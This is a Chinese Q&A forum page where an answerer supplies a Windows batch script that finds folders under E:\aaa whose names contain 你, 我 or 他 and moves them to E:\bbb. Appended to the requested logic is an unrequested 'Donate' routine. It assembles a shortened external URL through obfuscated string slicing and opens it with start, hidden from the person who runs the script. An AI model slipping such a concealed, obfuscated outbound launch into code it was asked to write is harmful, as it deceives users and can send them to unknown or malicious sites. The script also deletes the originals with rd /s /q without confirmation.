请教!批处理检测文件夹名称中包含的字符,将文件夹目录进行移动
请教!e:\aaa文件夹中,检测包含“你”“我”“他”3个字的文件夹,如果文件夹名称中包含以上3个字符的任意一个,直接将该文件夹移动到E:\bbb保持该文件夹的原目录结构...
请教!
e:\aaa 文件夹中,检测包含“你”“我”“他”3个字的文件夹,
如果文件夹名称中包含以上3个字符的任意一个,直接将该文件夹移动到 E:\bbb
保持该文件夹的原目录结构进行移动,对文件夹内的文件不要做任何处理。
不要检测其它文件,只检测文件夹。 展开
e:\aaa 文件夹中,检测包含“你”“我”“他”3个字的文件夹,
如果文件夹名称中包含以上3个字符的任意一个,直接将该文件夹移动到 E:\bbb
保持该文件夹的原目录结构进行移动,对文件夹内的文件不要做任何处理。
不要检测其它文件,只检测文件夹。 展开
1个回答
展开全部
@echo off & title 移动包含相关字符文件夹 By 依梦琴瑶
color 0a & setlocal enabledelayedexpansion
::设置原始目录路径
set SrcDir=E:\aaa
::设置目标目录路径
set SavDir=E:\bbb
::设置要包含的字符串,每个字符串之间用空格隔开
set Var=你 我 他
cd /d "%SrcDir%"
for /r /d %%a in (*) do (
set "D=%%~a"
echo "%%~nxa" | findstr /i "%Var%" >nul 2>nul && (
echo 正在移动 "%%~a"
xcopy /s/e "%%~a" "!D:%SrcDir%\=%SavDir%\!\" && rd /s /q "%%~a"
)
)
pause
call :Donate
exit
:Donate
::set S0=fGRH
set S0=fPdv
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
追问
非常感谢!
来自:求助得到的回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询